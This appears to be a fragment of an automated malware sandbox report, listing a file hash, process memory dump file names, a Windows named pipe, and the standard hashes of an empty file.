SHA512 650a3be640baac30d3c36185048c6f4e5b2536cf0086b49386ea7149c7148cc1ce4f12c7832ddb2520677d67f15214b0c8e41c0eed5938b0283b1374f6bdd197

memory/2464-22-0x0000000000400000-0x0000000000412000-memory.dmp

\??\PIPE\lsarpc

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

memory/2464-28-0x0000000000400000-0x0000000000412000-memory.dmp